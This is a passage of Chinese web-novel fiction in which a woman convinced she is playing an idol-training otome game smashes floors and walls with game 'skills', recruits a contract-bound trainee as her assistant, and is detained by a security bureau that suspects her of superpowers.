比起羡慕朝晖，她们更希望不被卷进朝晖所引起的麻烦里。
做练习生虽然辛苦又看不见前途，甚至没有工资——但包吃包住。
长达十五年的奴隶条约，对活不下去的奴隶们来说，更像是一份十五年的稳定饭碗。
在失业率高达35%、每天都有人破产的洛川，光这一点，就让足以无数平民家庭的孩子趋之若鹜。
万一练习中途惹上麻烦，丢掉饭碗不说，可能还会面临违约、罚款、负债等，那人生就全完了！
很可惜，朝某人没有给她们这个机会。
【洛神之舞：你的舞蹈翩若惊鸿，宛若游龙，展现轻盈的律动感。
森林之舞：你的舞蹈静若处子，动若脱兔，展现精准的掌控力。
远古之舞：你的舞蹈狂放不羁，震撼人心，展现绝对的力量感。】
“这还用选吗？当然是狂放不羁啊！”
朝晖嘴上这么说，还是认认真真把【跳舞】三个分支后面的天赋大招全看了一遍。
然后果断点了【远古之舞】。
【远古之舞lv1】：您的舞步具有振奋人心的力量感，您的身体变得更为柔韧。
【额外效果·狂战士】：检测到您的力量超过20点，您获得被动技能【狂战士】。
【狂战士（不可升级）】：您的动作看似简单，却充满远古狂热的力量。您使用任意主动技能时，有机率触发狂战士效果，力量增加100%，耐力增加100%，智力减弱100%。
！！！
是强力的被动buff！
一点小小的负面效果，被朝晖果断无视。
智力？那是什么？她又不玩法师。
那么，所谓“有机率”到底是多少呢？
朝晖立刻发动【远古之舞】技能，疯狂地刷起熟练度。
下班前看了眼监控的朱老板：“……就让她待在这儿吧。”
……
平时，也有勤奋的练习生在公司留到很晚才离开。
但今天，事情变得有些不一样。
他们在离开之前，听到地下练习室传来无比可怕、连绵不断的巨响……
朝晖正沉浸于被动技能【狂战士】的强力效果之中，竟忽见警察破门而入！
她无处可逃，遗憾被捕。
报警的圆脸女孩满脸惊恐：“我，我听那个动静，以为地下室爆炸了……”
警察：……
虽然没爆炸，但也差不多。
毕竟，地下练习室内的地板上，已再找不到一块平整地方。
仿佛被一百只发情的大象来回踩踏过，不大的室内尘土四溅、碎木飞扬，管道线路□□露在外，还有一段破破烂烂的水管，无助地喷着水。
而罪魁祸首，竟还在这练习室内，忘我地跳舞！
朝晖被捕的时候，尚未意识到事情的严重性。
被押上警车后，她才想起来……
她没存档。
上一个存档，还是刚离开电视台大厦的时候。
啊！！！
她下午和晚上辛辛苦苦练习的熟练度啊呜呜呜呜呜——
“谁那么缺德啊还报警！！不是没人看到我吗？”
朝晖愤恨不解，在被押送进入警车前，努力地伸长脖子，朝围观人群张望。
路人们目光躲闪，窃窃私语。
她一张脸也认不出来。唯见其中一个高个头的混血女孩十分显眼，表情冷静地看着她。
呵，这么精美的的建模，一看就不是路人甲。
此人长了一张美式啦啦队队长的脸，身材又这么高挑出众，一定就是报警的、阻拦玩家任务的那个小反派了！
聪明的玩家已然看破了一切。
“你给我等着罢！！”
朝晖委屈，不甘，伤心地读了档。
“……”
陪着报警的圆脸女孩、安抚她情绪的混血儿，不知为何有种不秒的预感。
……
新一周目，朝晖蔫蔫地走剧情。
她一定不会再忘记随手存档的好习惯了！
“给你安排一个单独的房间进行练习吧？”
“好，要地下室单人间带唱歌跳舞练习设备。”
朝晖看剧情走完，精神一振，眼神在路人npc们之中犀利地梭巡。
目标锁定，人群中显眼的高个儿混血。
就是你！
“对了老板，能让她陪我去练习吗？”
朱老板擦了把汗：“……谁？”
顺着朝晖的手指，他看见了练习生们当中，眼睛睁大、控制不住惊讶的一个混血。
她确实挺显眼的。
“那个混血。”朝晖果然说。
“哦。”
朱老板对混血稍微有点印象。
她叫伊尔莎，母亲不祥，父亲是个下等人中常见的烂赌鬼，痛快地签下契约将女儿卖给公司。
伊尔莎资质倒是还行，朱老板记得她在下个季度的女团出道备选名单上。
但练习生是消耗品，备选多得是，于是他挥挥手：“那么，伊尔莎暂时转为朝晖的私人助理吧。”
正好，朝晖去参加综艺，肯定是要一个干杂活跑腿的小助理。
呵，他可真是个大度、称职、为员工考虑的良心老板！
“恭喜您解锁了【员工】！”
“您可以招募员工为您进行工作。”
朝晖：！
本来只是想让npc老老实实呆在自己面前，别去报警，没想到还有意外收获！
伊尔莎忽逢变故，尚能勉强维持镇定，她的朋友圆脸女孩却是吓得眼泪都快掉了下来。
小圆脸的脑袋瓜子里，满是“娱乐圈内某女星压力过大，虐待助理后辈导致多起惨烈事件”的社会新闻。<
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“还愣着干什么？明天让秘书部的人给你培训一下，现在你就负责好好照顾朝晖。”朱老板皱眉望向一动不动的伊尔莎，威严地下命令，“要听她的话知道吗？”
“……是。”
朝晖兴致勃勃点开了【员工】一栏，真的看见了新的资料卡！
【伊尔莎（临时员工，尚未招募成功）
性别：女。年龄：16。身高：175cm。
才能：唱歌lv.2，跳舞lv.1
职位：星宇娱乐公司派遣的临时助理。
建议岗位：练习生/偶像。
不仅外形条件优越，实力和发展潜力也很强！出道后或许能够成为知名偶像。不过，目前她只是临时员工，不受你的调配。】
员工的资料卡比【恋爱】里面的还详细，不愧是你，乙女游戏。
系统：……那是您主线任务还没做到恋爱线的部分所以解锁不了啊喂！
既然变成了员工，就是自己人了呗。
朝晖对混血npc的敌意一扫而光。
敌人被收服成为手下，玩家当然是不会有任何迁怒情绪的啦。
只是，当她发现自家员工的唱歌技能比自己等级还高，顿时坐不住了！
一眨眼功夫，她已经消失在走廊上，前往地下的练习室。
朱老板：……我明明还没把新练习室的位置告诉你啊？
他深沉地拍了拍伊尔莎的肩膀，嘱咐道：“你去跟着她，看着她一点，有什么事情记得汇报给我的助理。”
伊尔莎点点头，顺从道：“是。”
她沿着朝晖的路线，来到练习室，发现这位新晋上司，已然忘我地拿起手机，开始了“哆来咪发唆”的唱歌练习。
伊尔莎：……
明明脑子好像有问题，为何训练起来却如此的刻苦……
伊尔莎无法理解，百感交集，但莫名受到了鼓舞，自己也悄悄练习起来。
哪怕前途未了，她也不想放弃作为练习生的努力。
……四小时后，伊尔莎瞠目结舌地望着依旧在唱歌、从未停歇的朝晖。
“朝小姐。”
“哆来咪发唆拉稀多～～哆西拉索发咪来多～～”
“朝小姐！”
“啊～～啊啊啊啊啊哦哦～～”
伊尔莎冒着必死的决心，一个箭步，冲到朝晖面前打断了她的练习！
朝晖把视线从手机小游戏上挪开，犀利地盯着对方：“什么事？”
“……已经晚上十点了，您……不回去休息吗？”
朝晖歪头，觉得这句话的意思应该是员工自己要休息了。
员工这种东西，虽然目前没看出来有何用处，但一般都会有疲惫度嘛。
要是过于压榨，可能会导致员工辞职（跑路）、死亡之类的。
这种经营类型游戏常见的元素，朝晖完全能够拿捏！
“你回去休息吧。”她挥挥手，继续歌唱。
毕竟是自己的第一个员工，哪怕只是【临时助理】，朝晖依旧不希望这个npc随随便便死掉。
但伊尔莎不敢回去。
她怕得罪朱老板，被对方扣上“没有好好照看朝晖”的任务。
犹豫片刻，伊尔莎默默从隔壁房间抱来一个软垫子，缩在练习室角落里，闭上眼假寐。
她确实感到困倦，伴随着目前顶头老大还算好听的歌声，迷迷糊糊睡着了。
然后在半夜时分，被一阵惊天动地的爆炸声（？）惊醒。
——朝晖唱歌唱腻了，练习起【远古之舞】。
然而唱歌时触发【狂战士】被动，只会让她的歌声更加雄浑嘹亮；跳舞时触发嘛……
一不小心，地板上又被她踩出一个大洞。
惊魂未定的伊尔莎：……
明明是第一次见到这种不科学的事情发生，为什么她会产生一种熟悉的即视感呢？
5. 洛川（5）
经过这段时间的适应，朝晖已经逐渐熟悉了《逐梦演艺圈》的游戏规则。
游戏主线，是女主角通过【唱歌】【跳舞】等技能，在演艺圈中打拼，最终功成名就的事业线。
游戏支线，应该就是与【恋爱】相关的任务，目前还未解锁。
从【员工】栏目来看，或许还有一定的经营元素。
在此期间，如果触犯了法律或者做出一些引人误会的行为，就会被迅速赶来的警察逮捕，关入看守所，导致卡关、甚至任务失败。
总体来讲，玩家还是得根据主线任务的安排来行动。
但相比起市面上其他的类似单机游戏，整体自由度是相当高的。
因此，看见脚下的大洞，朝晖的第一反应是：
千万别被警察发现。
她懒得再读档了！
犀利的目光顿时射向在场唯一的目击者。
伊尔莎的瞌睡虫一扫而光。收到眼神暗示，她急中生智道：“这……这地板是不是质量不太好？”
朝晖点点头：“没错，我只不过是不小心把水瓶掉在了地上，地板怎么就坏了呢？”
伊尔莎：“……是啊！不过，老板那边的话，要不就说是，呃，重物掉在了地上？”
就算是糊弄，“水瓶掉落”也未免过于不靠谱了。
还好公司为了省钱，练习室铺设的是最廉价的合成木地板，重物掉落砸坏似乎是个勉强圆得回来的借口。
“嗯，就这么说吧！”
对于为自己着想的员工，朝晖十分满意。
不过，经过方才那一遭，伊尔莎是彻底睡不着了。
她盯着朝晖鞋子上若隐若现的地板残骸，眼神放空，不知道在想什么。
但作为玩家的朝晖，哪里会去注意一个npc的细腻情感呢？
在找到更结实的地板之前，她还是先把唱歌刷到2级再说吧！
……
第二天一早，眼下挂着两个硕大黑眼圈的伊尔莎，与朱老板并排站在地下练习室的大坑前，沉默无言。
“事情就是这样。”伊尔莎淡定地把“重物落地”事件告诉老板。
“……”
朱老板想要说点什么，但最终还是摆摆手，对伊尔莎道：“辛苦了。”
“没事，只是朱总，我昨晚一晚基本没睡觉，不知道能不能……”
“莎莎啊。”
朱老板忽然亲切地露出笑容，拍了拍伊尔莎的肩膀，把她拍得汗毛直竖，“不管怎么说，朝晖似乎对你挺满意的？”
他可是亲眼看见了，朝晖这个神经病……这个优秀的练习生，在他这个老板到来的时候也并未停止练习，反而是示意伊尔莎出面交涉。
短短一个晚上，她俩的关系就变得如此和谐了吗？
伊尔莎：“……朝小姐暂时，应该对我没什么不满意吧。”
她一边说，一边小心翼翼地看了朱老板一眼，仿佛在害怕老板对她不满。
许是混了北方联邦的血统，她的眉眼极为精致，浅色虹膜，如澄净的琉璃，清澈见底。
她的监护人父亲合法地签下十五年丙级合约，那是条例最严格的一份合约，她不可能会违约，除非她不要命了。
因此可以相信她对公司的忠诚。
朱老板示意她来到走廊，轻声对她说：“你是一个很优秀的练习生，不过在这个圈子里，能不能火完全是看命的。你有别人拼吗？你有能力去拿到资源吗？我见过太多漂亮的年轻人，如同飞蛾扑火一般钻进这个圈子里，最终却什么痕迹也没有留下。底层的小偶像小演员，比草芥还不值钱。”
“何况，你还是个混血。”
洛川的民族主义繁盛，混血儿哪怕再漂亮再优秀，也会被排外的洛川人下意识不喜。
“我知道。”伊尔莎抿了抿嘴。
朱老板很满意她的反应，继续说道：“现在正有一个机会。这么说吧，朝晖的长相是目前圈子里最吃香的类型，她的性格也很独特，有个性。脾气么，虽说有些古怪，但比起圈子里其他人，都还算好的了！番茄台是很希望她上节目的，肯定也会给她镜头。”
“你现在跟她打好了关系，通过她去积累自己的人脉、经验，以后不管是当助理，还是转别的幕后，都比继续在这儿练习有前途多了。”
朱老板这番话就完全是在瞎扯淡，糊弄年轻单纯的小女孩儿。
番茄台很重视朝晖没错，但他们那边透露出来的意思，是要把朝晖剪成一个完完全全的丑角，一边引起争议吸引热度，一边暗捧他们真正想捧的人。
美女到处都是，倒不稀奇了。但看似美女实则神经的“电波系”，或许能够吸引不少猎奇的观众呢。
节目的风头一过，朝晖最好的结果就是转当网红，直播为生，靠她的脸赚点钱；差的话，可能会因“言行不当”等原因，直接就被电视台封杀，流落街头。
无法出道的练习生去给艺人当助理、跑腿、跟班，在圈内是比较常见的事情。这些练习生因为已经签了合约，不需要公司额外付钱，也不敢违约，只能小心讨好老板、艺人，忠诚好用。
朝晖凉了之后，伊尔莎也不可能再回去做练习生，只能任由公司搓圆捏扁。
诸多算计在朱老板脑中一晃而过，面上他依旧是笑眯眯、诚心诚意的模样。
伊尔莎犹豫了一下，点了头：“好。”
“叮！”
“您获得了可招募的正式员工！”
“您已解锁【招募】功能，请尝试招募新员工【伊尔莎】吧。”
“温馨提示，在【选秀】环节中，您的出道资格由观众喜爱度、投票决定；选秀结束后，您需要自行招募至少4名队友，组成5/7/9人的女团才能出道。”
“诶？”
朝晖立刻扭头，两道目光犹如实质般投向门外走廊上说着话的老板、混血儿两人。
混血儿手一抖：“朝小姐，怎么了吗？”
和此前绿色的主线任务不同，她的头上赫然出现了一个蓝色的标记，这是支线任务的象征。
朝晖三步并作一步，冲上前去紧紧握着她的手：“你愿意被我招募，成为我的员工吗？”
“呵，你耳朵还挺灵光。”
由于对朝晖“精神不正常”的认知较为深刻，朱老板没有避着她，而是指着她的脑门说道：“以后伊尔莎就是你的助理，有什么事情叫她联络我，听到没有？”
朝晖完全无视了他。
她的眼中只有一个人：正式员工！
伊尔莎悄悄看了眼老板的脸色，又转向认认真真盯着自己的朝晖，试探着说道：“我愿意？”
“您已完成了支线任务！”
“您获得了奖励：天赋点x1，金钱x800。”
这个，支线任务的奖励不如主线丰富，经验不多。
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但竟然给天赋点和钱！！
朝晖两眼冒光，再次无视两个npc，研究起面板。
朱老板：“……你照顾她吧，听她的话就行，没事不用找我，具体培训时间秘书部那边会联络你，我先走了。”
“好的，朱总。”
员工面板【伊尔莎】人物卡的资料变得更详细了一些，竟然还有她的人物生平、过往经历等，游戏做得确实细节。
朝晖一个字没看，全部跳过，发现除此之外，还多出一个工资选项。
目前，伊尔莎的工资是0。
“为什么你的工资是0？难道不用给员工付工资吗？”朝晖奇怪。
伊尔莎耳朵微动，轻声说：“工资吗？我们签的合约是没有工资的。”
“？”
虽然和朱老板的想法并不完全一样，但敏感聪明的伊尔莎已经意识到，朝晖是一条可以抱的大腿。
她索性把对方当成什么都不懂的小孩子，细心解释道：“练习生合约分为三种，甲、乙、丙，全部都没有基本工资，但是公司包吃住。”
“最好的甲级合约，限制较少，工作收入和公司是五五分成。”
“你签的乙级是三七分，公司占七。我签的丙级则是一九分。”
“参与公司内部的项目，所有合约都只拿最多5%的分成，具体情况再议。”
“像是这次的《星光训练营》，你单是参加就能获得一定的基础工资，后续人气高的话，还可以拿到额外的三成分成。”
“公司不会给我发工资，而是需要你从你的分成当中给我发工资，这部分不用分给公司，是完全属于我的。”
朝晖一般懒得听游戏内长篇大论的剧情语音。
不过，也许是伊尔莎声音比较好听，讲话又抑扬顿挫、轻重得宜，让人一下子就听了进去。
“这是什么奴隶合约？没写进合同里，谁知道具体分成给多少呢？而且这样不就很容易逃税了吗？”
朝晖眉头紧皱。
伊尔莎一愣，没想到看似没长脑子（？）的上司竟然如此敏锐地发现了问题。
“我听说，艺人都默认会被公司克扣一些。至于税款，”她望了望左右，压低声音，“这算常见的逃税方式了，反正洛川本就由财阀控制，娱乐公司的背景也基本是小财阀，没人会管的。”
“叮！”
“您触发了长期任务：只手遮天的财阀。”
【只手遮天的财阀：
你忽然发现，这个娱乐圈并不如想象中的那般光鲜亮丽。
也许你应该对此进行调查。
进度：1%。】
朝晖望着伊尔莎，眼神比看自己的亲女儿还要亲切。
这个员工，给她带来了整整两个支线任务！
甚至有一个看起来奖励就很棒的长期任务！
这是什么小天使！
伊尔莎被她看得毛毛的：“……虽然合约在公司手上，但给我发工资的是您，所以我绝不会违逆您的，请放心。”
她有一种莫名的预感，而此前的事实可以作为佐证——眼前的“朝小姐”看似疯癫，但或许真能帮她走出一条不一样的道路。
朝晖闻言，恍然大悟道：“就是啊，明明是我的员工，竟然还不得不被公司的奴隶合约给约束着，这像什么话？看来我得想个办法让这破公司赶紧凉了。”
伊尔莎：“……啊？”
6. 洛川（6）
【员工】界面进阶后，朝晖能看到【伊尔莎】人物卡更详细的信息。
这位可怜的员工，精力已然即将归零，还挂着【虚弱】【饥饿】【困倦】等debuff。
朝晖指使她去睡觉，转而琢磨起自己的任务。
“系统，我现在一练习【跳舞】就有被抓的风险，这算不算bug啊？还有，新被动确实很强，但游戏里的建筑也太脆弱了，一碰就坏！你们不管管吗？”她还是决定先投诉。
系统：“……正在接收您的投诉。”
朝晖一边练歌一边等待，结果系统还真拿出了一套解决方案。
【狂战士】被改成了主动技能，效果不变，每次释放持续8秒，冷却时间两小时。
这跟她之前的触发频率差不多，也更加灵活，玩家表示满意。
与此同时，新增了一个设定：非战斗状态不触发技能、属性的额外效果。
现代游戏测试非常方便，测评员发现问题后可以随时提交，由ai系统热修。
朝晖更新了一下系统界面，就已经修改完毕。
此时，地下练习室的劣质木地板还没维修，朝晖被暂时安排到了隔壁房间进行练习。
好在公司练习室比较多，这回她不用担心自己弄坏设施导致被当场逮捕，开心地刷起技能。
就这样，她足足练习了一个星期，把【海妖之声】【远古之舞】全部刷到了50熟练度。
主线任务完成，她再次升级，新的天赋点和之前支线任务赠送的一起，加在了【海妖之声】后续的天赋【魅惑】上。
【魅惑（被动）（2/2）：你的声音自带魅惑效果，这让别人更容易相信你说的话。】
朝晖点出它，倒也不是图它的效果。
真正原因是，它是通往最终天赋【死亡歌喉】的必经之路！
而再过一个星期，她就要正式前往《星光训练营》的拍摄场地，进行公式照拍摄、自我介绍录制等环节了。这也是新的主线任务内容。
她现在手头只有一个长期的支线任务，暂时没什么头绪；更让她感兴趣的，是另外一件事。
招募队友。
系统提示，选秀剧情结束之后，她需要招募足够的队友，才能继续主线任务，组成女团【出道】。
伊尔莎显然是可以当队友的，她本来就是练习生。
那么其他人呢？
于是朝晖企图尝试招募。
“你愿意成为我的员工吗？”
朝晖游荡在公司，闯入每一间练习室，对每一个瞠目结舌的练习生如此说道。
跟在她身后的伊尔莎：……
不敢动的练习生们：……
其中，倒真有那么一两个没心没肺的人，回答了“愿意”两个字。
在朝晖失望的目光中，这些人并未能够触发招募选项。
系统：“……招募对象是有条件限制的，和剧情发展、您的个人声望有关。”
“声望？”
她没注意过自己还有这么一个属性。
定睛一看，自己的声望是-30（猫嫌狗厌）。
“这么重要的事情你怎么不早说！”朝晖怒吼。
系统：……
“算了算了。”
朝晖倒是很快变得乐观。
毕竟，哪怕是声望为负的她，不也招募到了伊尔莎这样优秀的员工吗？
说起伊尔莎，她想起了自己立志要让公司倒闭的誓言。
目前暂时还没什么好办法，这也不是个正经的任务，所以她决定等自己解锁了更多强力技能后再行尝试。
玩家很快把这堆破事丢在一旁，努力地刷熟练度、刷经验，以积极的态度迎接即将到来的《星光训练营》拍摄。
待到一切就绪，朱老板派司机将她送到节目录制地点，精神饱满的朝晖带着她的混血儿助理大摇大摆地下了车，就被一个新的任务奖励砸在脸上。
“欢迎来到《星光训练营》！”负责接待的小姐姐一脸微笑地核对了她的信息、登记完毕后，就把每一位练习生都有的装备发放给她。
“您完成了任务：星光之途。”
“您获得了奖励：星光之戒（异化）。”
【星光之戒（异化）：象征您星途起点的戒指。由于您的特殊性，它发生了一些变化。
魅力+2，资历+1。
特殊效果（已异化）：您总是不按常理出牌，不是吗？佩戴此戒指时，他人会轻微幅度地合理化您的行为。】
“！”
是装备！！
朝晖两眼放光，二话不说，如狼似虎地抢过戒指，将它佩戴在手上。
接待小姐姐的笑容略显凝滞：“……这边这位小姐也是来登记的吗？”
伊尔莎礼貌地摇摇头：“我是她的助理，请帮我登记在员工区域吧。”
《星光训练营》号称是全封闭的选秀节目，但节目方又哪里有那么多人手去管理每个选手的破事。
所以，选手们一般都会带一个助理。
这些助理只能无聊又疲惫地呆在员工区，陪自家艺人住上整整三个月，随时等候艺人的需求。
苦哈哈又工资低廉的工作，放在外面也是会被平民们抢破头的。
但，对于资本家来说，能不花钱为什么要花呢？
绝大部分公司都直接像星宇娱乐公司一样，派出其他练习生兼任此工作，美名其曰“近距离体验大型节目氛围”。
接待员小姐姐见惯了此事，却依旧不免犯嘀咕：
这位名叫朝晖的选手也太心大了吧！
别人都带一个绿叶，好衬托自己这朵鲜花。她倒好，带一个这么漂亮高挑的助理陪着自己，也不怕被抢了风头。
但当接待员仔细观察时，却发现自己的眼神很难从朝晖的身上移开。
……外表是其次，主要是，这位选手望着手上戒指的眼神，仿佛电影里看向自己宝贝的大头咕噜*。
有一种清新脱俗的深井冰气质！
……
“但是，真的很漂亮呢。”
选手们陆续入住的时候，拍摄已经悄无声息地开始了。
这些画面有可能会被录入到花絮中，所以懂行的选手已经提神静气，开始“营业状态”，尽力展现出自己最好的一面。
但摄像头中的朝晖，却全程维持着面无表情。
冷着脸的她，身上越发有一种非人类的冷漠和游离感。周围的一切，似乎都不能让她提起任何兴趣。
导演组的人陆陆续续凑到同一个显示屏附近，观察这位已经被内定为“反派丑角”的选手，发出如上感慨。
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>“她会看剧本吗？”其中一人问。
参与了选拔面试的节目策划杨梅：“……我觉得不会。”
总导演拍板道：“那么先拍两期看看吧，实在不行，也可以剪成【冷漠自私的花瓶】。”
“只要她和【那位选手】有对立的镜头就行。”
“好的。”
“系统。”
朝晖面无表情，冷漠无情地质问：“在一个主打自由度的游戏中，怎么会有这样一间完全不能互动的建筑存在呢？”
每一间房门，都紧紧地、毫不留情地被关闭；走廊上摆放的物品，也没有任何交互提示。
“……亲爱的玩家，这是为了保证主线任务能够顺利进行，您可以更快寻找到任务线索。”
它才不会说，自己昨晚熬夜修改了后续场景，就是为了能让玩家不搞事、不作妖的这份良苦用心！
“可是探索玩法也很重要啊，现在感觉有点无聊了。”朝晖没精打采。
“其实我们这款乙女游戏主打的还是剧情线，您现在就已经进入重要的剧情部分了，后续……”
“你，你好啊？”
一间房门忽然被推开，里面探出了一颗毛绒绒的脑袋。
是一个烫着棕色小卷发的npc，眨巴着黑黝黝的大眼睛。
朝晖根据第一印象，内心自动给她标记外号为“贵宾犬”。
她身上，有一个极为显眼的可互动标志！
“你好啊。”朝晖的表情冰雪融化，露出甜美笑容，“你有什么任务要交给我吗？”
“诶？这个，没有吧……我只是想看看新来的朋友住在哪一间？”
得益于新装备【星光之戒】的被动效果，贵宾犬觉得新来的人讲话有点怪怪的，但还是友好地回应。
没能触发任务，玩家叹气。
可能是新的地图内可交互物品太少，她难得地跟npc互动起来：“噢，我住在404。”
“啊这……”
贵宾犬抬头看了眼自己房门上的“403”，又将一言难尽的目光投向隔壁。
一般来说，为求吉利，大部分建筑内不会设置“404”房间号。
分到这样一间倒霉宿舍的人，应该没什么背景吧……
贵宾犬的眼神不自觉带上了一丝丝同情。
同为参加节目的练习生，虽然大都出身平民，但也各有不同。
大公司派来的选手，公司和节目方会有资源、利益上的交换或绑定。
这些选手别的不说，镜头、表演环境都有一定的保障。
还有一些选手，本就得到公司高层的重视，那么公司肯定会为了她们跟节目方交涉，拿到好镜头、好剧本。
再次一点，如贵宾犬，就是个凑数的，却意外通过面试。公司虽然也看重她，但小公司的体量还没办法在节目里为她做点什么。
住到这么不吉利的宿舍，只能是有两种情况了。
要么，这位选手的公司和背景都是小小虾米，节目组根本不害怕得罪她。
要么，就是剧本，可能给她安排了不太好的路线，比如常见的霉神、扮丑，宿舍算是个噱头。
可惜节目方不知道贵宾犬小小的脑袋里藏着这么多想法，否则恐怕会给她比一个大拇指：
咱们的心思算是被你给猜透啦！
7. 洛川（7）
《星光训练营》拍摄场地的整体环境相当不错，宿舍楼一共四层，每层5间宿舍，每间宿舍是标准的5人间。
聪明的小伙伴一定已经算出来了，宿舍楼一共可以容纳100名选手。
参赛选手原定99人，但中途经历了一些诸如选手塌房、选手被车撞了必须住院（？）之类的意外情况，最终实际参加人数为97人。
“你们宿舍只住了两个人？”贵宾犬把脑袋凑到了404门前贴着的名牌上，“小姐姐，你是朝晖还是裴韫？看来405住满了，然后把你们两个分到了404。”
“朝晖。”
朝晖完全没有阅读面试通过后收到的厚厚一摞《星光训练营参赛选手须知》，但不妨碍她回答npc的问题。
呵，谁会去看游戏内的文件材料啊？那不就是个道具吗！
“朝晖！好好听的名字，我是周小满，很高兴认识你！”
朝晖胡乱点点头，推开404的门，然后被里面以粉色、浅黄色为主的公主风装修给深深震撼。
“两个人住这么大一间，忽略到门牌号的话还真挺爽的！”贵宾犬跟在她身后，探出一颗毛绒绒的脑袋，满脸羡慕。
朝晖赞同：“对啊，颜色是玛丽苏了点儿，但比公司那破宿舍好太多了。”
贵宾犬闻言瞪大了眼睛：“那个，小姐姐你讲话要不要注意点？……现在其实已经在拍摄了，可能会被剪辑到花絮里的。”
“蛤？女生宿舍也拍？”朝晖震惊。
贵宾犬点头，“对啊，选秀不是都这样吗？不过只拍床位这边，洗手间是没有拍的。”
顺着她的目光，朝晖看向光明正大挂在屋顶角落的一台摄像机。
然后干净利落地竖了个中指。
贵宾犬：！
朝晖破口大骂：“系统，我这角色是18岁刚成年，但按理说还有很多没成年的npc吧？小女孩的宿舍都要拍，你们游戏是不是在倡导不正确的价值观啊？”
系统机械地回答：“亲爱的玩家，这是符合真实演艺圈情况的角色扮演剧情。只要经过本人同意，拍摄宿舍环境是被允许的。”
朝晖：“……”
她不太关注这一方面，但也知道养成系很火，流量明星成名的年纪也大多很小。
“啊……！还是很不爽！！”
朝晖想起自己996的那些年，想起那些蹲在观众头上拉shit的资本家，顿时火气上涌。
玩个游戏就是为了快乐，她忍什么忍？
“哐”地一声，朝晖一拳打在墙上。
可怜的粉色墙壁以拳头为中心，裂成蜘蛛网，粉尘簌簌而落。
——为了进入战斗状态，触发【狂战士】效果，她还特地释放了技能【远古之舞】*。
于是，贵宾犬得以亲眼目睹以下场景：
朝晖碎碎念了几句、当场表演徒手碎大墙的电影特效级别画面、顺便还扭动双腿跳了一段狂放的舞蹈。
贵宾犬：0o0？
推门进来的另一位404室友：oAo？
正在观察摄像头、并被此前的中指无语到的导演：“异……异能者！？”
他说的声音不大，没被同样震惊的其他人听见。
朝晖仰天怒吼：“西——班——牙——！！*迟早有一天把你们这些傻x老板都干掉！！”
反正读档是确定了的事，她索性提起房间内摆放着的木质茶几，杀出门去！
……
半小时后，玩家被捕。
但这回，她却没有来到熟悉的看守所。
反而是被押送进了……洛川市安全局？
路过新建筑的大门时，朝晖好奇地往外瞅，正瞧见这几个大字。
秃头老板已经等在此处，不停地用手帕擦着脑门上的汗水：“这个这个……怎么会呢？她之前看起来力气是比常人大一点，但那个锁不是她撬开的吗？我们公司的门锁是比较老旧了……难道真是推开的？”
本回合存档内，朝晖有着“徒手推门”的事迹，但朱老板一直认为那是她发神经甩锅的推辞。
“查监控。”
不到一个月前的监控被调来，一目了然，门就是被她推开的，还是单手。
地下室的监控也被调查了，地板上的大坑来自朝晖的大长腿，而非伊尔莎所说的“重物落地”。
“18岁，未登记的异能者？不可能啊，异能者几乎无法隐藏自己，且6岁之后就不会觉醒了。”一名穿着制服的男人说。
他身前站着一个人。
朝晖仔细看了几眼，才确认这是一个女npc——
她理寸头，身材高挑，下颌处有一道疤痕，一直延伸到被制服领口遮掩的脖子内。
这个女人看了会儿朝晖的资料，对旁边的人吩咐道：“先领这位老板去签保密协议。”
朱老板还在嘀嘀咕咕着一些“异能？世界这么玄幻了吗？”“我真的不知道啊，我以为她在吹牛，谁能徒手开锁啊！”之类的话。
闻言，屁都敢不放一个，乖乖跟人走了。
寸头女人这才走到被关押朝晖面前，扬扬眉毛：“你在和星宇娱乐公司签约之前，具体住址是哪里？”
朝晖难得竖起耳朵，把剧情部分给听全了。
她觉得很神奇，问系统：“我知道乙女游戏都会强行出现一些超能力，但你都没个提示，我还以为没有呢。”
系统：……
寸头女人：“……她有去医院诊断过吗？不会真的有精神疾病吧？”
男人回答：“暂未查到朝晖在任何医院的就诊资料。”
没过多久就出现了一个气质温婉的女npc，她对寸头女人汇报：“从视频资料来看，她或许患有妄想症和语言障碍。”
“噢，我们队长还说，虽然尚未进行具体分析，且她身上也没有异能者的波动，但从效果来看，她肯定是自身强化系异能。”
寸头女人眉头紧皱：“难道不是偏向于隐藏自身的异能吗？那怎么会没被检测到？”
温婉女人摇头：“普通异能者的身体强度更高，但也不至于力气这么大。”
寸头女、温婉女、制服男三人对视一眼，把疑惑的目光投向朝晖。
朝晖听得津津有味，见他们都看自己，忙追问：“对啊，为什么啊？”
三人：“……？”
寸头女人深吸了口气，挤出一个微笑：“朝小姐，您知道您刚才在《星光训练营》拍摄场地的暴力行为，已经触犯了不少于三条洛川法律了吗？建议您给我们提供关于您的更多信息，我们安全局对异能者是有一定优待的。”
“什么优待？”
“具体条款，在你的案件审判结束之后我们可以再沟通。以你目前的处境，我们会为你提供最好的律师，
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争取减刑、缓期执行、以工代刑等待遇。”
朝晖点头：“听起来还不错诶，我下次会先过来登记异能者身份再去搞事……咳咳，锄强扶弱的。话说系统，还没触发异能相关的面板吗？”
系统：“……呃，您没有异能啊。”
？
朝晖：“你在游戏里设置了异能，然后告诉我玩家没有异能？”
系统答：“您虽然没有异能，但是您后续即将解锁的几位【恋爱】线男主角们都是有异能的。遇到特殊情况，他们会使用异能来保护您，这也是剧情的一部分。”
“由于涉及到剧透，可能会影响您的游戏体验，所以本系统不便于提供更多信息。但本游戏的主线剧情，便是玩家您成为最优秀的偶像，即使没有特殊能力，却用自己的歌声温暖了粉丝们的心，并吸引到不同的男角色作为‘骑士’的故事。”
朝晖：“你在说什么屁话，你就告诉我这设定能不能改，玩家到底能不能有异能吧。”
系统：“……本系统会将您的投诉上报进行审核。”
看着朝晖旁若无人地“阿巴阿巴”、自言自语不知道在说些什么的安全局三人组：……
温婉女npc小声说：“组长的判断有误，我看她应该是精神分裂吧……”
……
眼见无法沟通，安全局员工把朝晖一个人晾在了看守区。
这地方比看守所条件好，有一张床，朝晖索性舒舒服服躺下，静待系统回复。
呵，设定不改，她不读档！
系统：“亲爱的玩家，经检测，玩家确实没有办法拥有异能。这是由您本人……角色的系统设置决定的，实在无法更改。”
朝晖张开嘴，儒雅随和的话语顺势待发。
“但是！！”系统极有求生欲地打断施法，“由于您最初的属性点选择，您的技能已发生了一定变化，您现在和力量型的异能者十分相似。您可以通过后续天赋、其他技能的解锁，开发出类似于异能的玩法。”
“哦？”朝晖扬了扬眉毛，“该不会原本的【死亡歌喉】天赋真的没有什么杀伤效果吧？”
“……【死亡歌喉】的原效果是发出难听的声音博得关注，是一条非常偏门的天赋路线……呃，由于您的个人原因，它的效果会发生变化。”
“好吧好吧，没想到你们游戏在这方面的自由度意外地高。”
